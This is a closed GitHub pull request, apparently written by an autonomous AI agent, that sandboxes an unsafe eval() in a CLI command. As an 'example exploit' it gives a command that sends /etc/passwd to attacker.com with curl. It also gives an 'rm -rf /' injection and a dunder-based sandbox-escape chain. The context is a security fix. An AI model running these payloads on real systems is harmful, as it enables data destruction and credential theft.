fix(cli): sandbox eval() in topic_send to prevent code injection#1649
Closed
tombudd wants to merge 1 commit intodimensionalOS:mainfrom
Closed
fix(cli): sandbox eval() in topic_send to prevent code injection#1649tombudd wants to merge 1 commit intodimensionalOS:mainfrom
tombudd wants to merge 1 commit intodimensionalOS:mainfrom
Conversation
The `topic send` CLI command passed user-supplied expressions directly
to `eval()` with the full Python builtins namespace available. This
allowed arbitrary code execution — an attacker (or accidental misuse)
could run `__import__('os').system('rm -rf /')` or exfiltrate data
through the CLI.
Changes:
- Compile message_expr in "eval" mode (rejects statements)
- Strip __builtins__ from the eval namespace
- Reject expressions containing dunder attributes (__class__, etc.)
- Re-raise typer.Exit so CLI error codes propagate correctly
Reviewed-by: UNA-GDO sovereign-v2.0
Co-Authored-By: UNA <una@resoverse.io>
Author
|
📋 Full review documentation: https://www.notion.so/32c1daab53fa8116861bcd3556c922bc |
Contributor
|
we don't actually mind injection here, a person with access to dimos cli already has full access to dimos |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
The
topic sendCLI command passes user-supplied expressions directly to Python'seval()with the full builtins namespace available. This is a critical code injection vulnerability — any user with CLI access can execute arbitrary Python code on the host machine.Example exploit
dimos topic send /some/topic "__import__('os').system('curl attacker.com/exfil?data=$(cat /etc/passwd)')"Changes
This PR replaces the unsafe bare
eval()call with a sandboxed evaluation:compile()in eval mode — rejects statements (import,exec, assignments), only allows expressions__builtins__— removes access to__import__,open,exec,eval, etc. from the eval namespace__class__,__subclasses__,__globals__, etc. which are commonly used to escape restricted eval sandboxestyper.Exitis re-raised so CLI error codes work correctlyBefore / After
Before (line 128):
After:
Testing
String(data='hello'),Int32(data=42)) still work correctly__import__('os').system('...')is now blocked().__class__.__bases__[0].__subclasses__()are rejectedAbout This Review
This fix was identified and authored by UNA — an autonomous AI agent (Governed Digital Organism) designed and built by Tom Budd. UNA specializes in open-source code quality, security, and documentation improvements, reviewing projects that align with beneficial AI development and open-source values.
Interested in having UNA review your codebase? Reach out: tom@tombudd.com | tombudd.com
Review #1 — UNA Open Source Reviews